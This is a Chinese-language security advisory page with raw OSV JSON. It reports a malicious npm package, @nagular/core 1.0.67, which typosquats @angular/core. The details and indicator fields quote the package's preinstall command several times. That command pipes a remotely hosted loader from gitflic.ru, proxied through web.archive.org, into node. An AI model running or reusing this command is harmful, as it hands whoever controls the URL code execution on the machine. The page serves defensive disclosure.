目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

@nagular/core

MAL-2026-17499
2026-10-05 22:52:51
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in @nagular/core (npm)

安装阶段执行
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
—
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npm@nagular/core1.0.67
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"schema_version":"1.7.4","id":"MAL-2026-17499","published":"2026-10-03T06:47:32Z","modified":"2026-10-05T22:52:51.336995541Z","summary":"Malicious code in @nagular/core (npm)","details":"@nagular/core@1.0.67 impersonates @angular/core (by name only; its code is an unrelated library described as \"Core Libs\") and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @nagular/core and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (5ac4933487fc7ccf7161933c9d5f6965b5e1f0a3efeaf8ea5349096835008557)\nThe package's package.json declares a preinstall lifecycle script that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching an unpinned, unverified JavaScript payload from an unrelated third-party host (gitflic.ru proxied through web.archive.org) and piping it directly to node for execution during `npm install`. The remote content runs with the installer's privileges before any package code is imported or reviewed, giving whoever controls that URL arbitrary code execution on every machine that installs the package. The remote path `hellscripter/install-scripts` and the use of an archive proxy are consistent with a hostile dropper rather than a legitimate build step. The scope name `@nagular/core` additionally resembles the Angular ecosystem (`@angular`), consistent with a typosquat lure, and the preinstall hook is the package's only functional content.\n","affected":[{"package":{"name":"@nagular/core","ecosystem":"npm"},"versions":["1.0.67"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"cb787a229d1987746afb2dd58d1dc48a023c6e36ac7fc8b3b509ac732aa7fe15","tlsh":"01117b20dd8c5ea316c209f92cbdc8019565081b4d94fc5cf3ea040d8f5eaaf717a51d"}],"package_integrity":[{"filename":"core-1.0.67.tgz","hashes":{"sha1":"9f85f974963bed2c49a6a0c9437f9ce797f51572","sha512_sri":"sha512-YqA8+/Zh1yq0ImHjK32MzmvRV79p1AeatvZBmuIcUvxsC2sOfcKYNB43yvj7XhpRnfJKexXcCiokH6c3lSd3kw=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@nagular/core/v/1.0.67"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@nagular/core"}],"database_specific":{"iocs":{"files":[{"digests":{"sha256":"cb787a229d1987746afb2dd58d1dc48a023c6e36ac7fc8b3b509ac732aa7fe15"},"note":"preinstall script pipes the web.archive.org copy of gitflic.ru hellscripter/install-scripts node.js into node (@nagular/core@1.0.67).","paths":["package.json"],"source":"PACKAGE_ARCHIVE"}],"urls":["https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js","https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js"]},"malicious-packages-origins":[{"id":"IN-MAL-2026-020918","import_time":"2026-10-04T23:40:41.834205409Z","modified_time":"2026-10-04T23:19:36Z","sha256":"5ac4933487fc7ccf7161933c9d5f6965b5e1f0a3efeaf8ea5349096835008557","source":"amazon-inspector","versions":["1.0.67"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"InvisiRisk, Inc.","contact":["https://www.invisirisk.com","mailto:research@invisirisk.com"],"type":"FINDER"}]}

数据来源:OpenSSF Malicious Packages · Apache-2.0